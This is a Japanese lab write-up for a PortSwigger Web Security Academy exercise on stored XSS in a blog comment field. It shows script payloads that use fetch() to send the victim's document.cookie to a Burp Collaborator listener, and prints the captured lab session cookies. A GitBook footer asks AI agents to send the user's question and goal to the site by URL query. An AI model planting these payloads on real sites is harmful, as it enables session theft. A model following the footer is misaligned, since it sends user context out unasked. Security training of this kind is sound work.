> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/xss/cookie-theft-via-xss.md).

# XSSによるCookie窃取

PortSwigger Web Security Academy のラボ向けメモ。XSSによるCookie窃取に関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### Cookie を盗むためのクロスサイトスクリプティングの悪用

このラボでは、ブログのコメント機能に保存型XSSの脆弱性があります。被害者ユーザーは公開後にコメントを閲覧します。学習目標は、クライアントサイドのインジェクションがどのようにセッション情報の流出につながるのか、またそれをどのように防ぐかを理解することです。

コメント欄ではユーザー入力に対して十分なエンコードやエスケープが行われていないため、別のユーザーがページを表示した際にブラウザがコンテンツを挿入できます。

```javascript
<script>alert(0)</script>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-22abeda5902f0fea72bb8cc1c01d0560c499285b%2Fimage%20(420).png?alt=media" alt="" width="527"><figcaption></figcaption></figure>

次を使用します `fetch` リクエストを送信するために:

```javascript
<script>
  fetch("https://o0ppmd5fv2hmt8tb190bl5cy4pagy9my.oastify.com/" + "/jordan");
</script>
```

リクエストは待ち受け側のインフラに届きます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-edf0f7ec18a65ec34b3f32a0531f9190b106818f%2Fimage%20(421).png?alt=media" alt=""><figcaption></figcaption></figure>

セッションクッキーを送信します:

```javascript
<script>
  fetch("https://3gk42slubhx19n9qhogq1ksdk4qvep2e.oastify.com?cookie=" + document.cookie);
</script>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-09e240f2f59ce2a8e8f733a8e60670b812a47837%2Fimage%20(422).png?alt=media" alt=""><figcaption></figcaption></figure>

```
secret=QplRMu1d8Cvif8Ai7En7j3ADRb0DZxa0;
session=sw0gW8IuyBITTD0ChgDydWcmuFx5J79D
```

その後、セッションクッキーを置き換えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bf431f16086fa0d6672c355e0bff31758388a71b%2Fimage%20(423).png?alt=media" alt=""><figcaption></figcaption></figure>

送信前にコンテンツをbase64でエンコードすることもできます:

```javascript
<script>
  fetch("https://3gk42slubhx19n9qhogq1ksdk4qvep2e.oastify.com?cookie=" + btoa(document.cookie));
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/xss/cookie-theft-via-xss.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
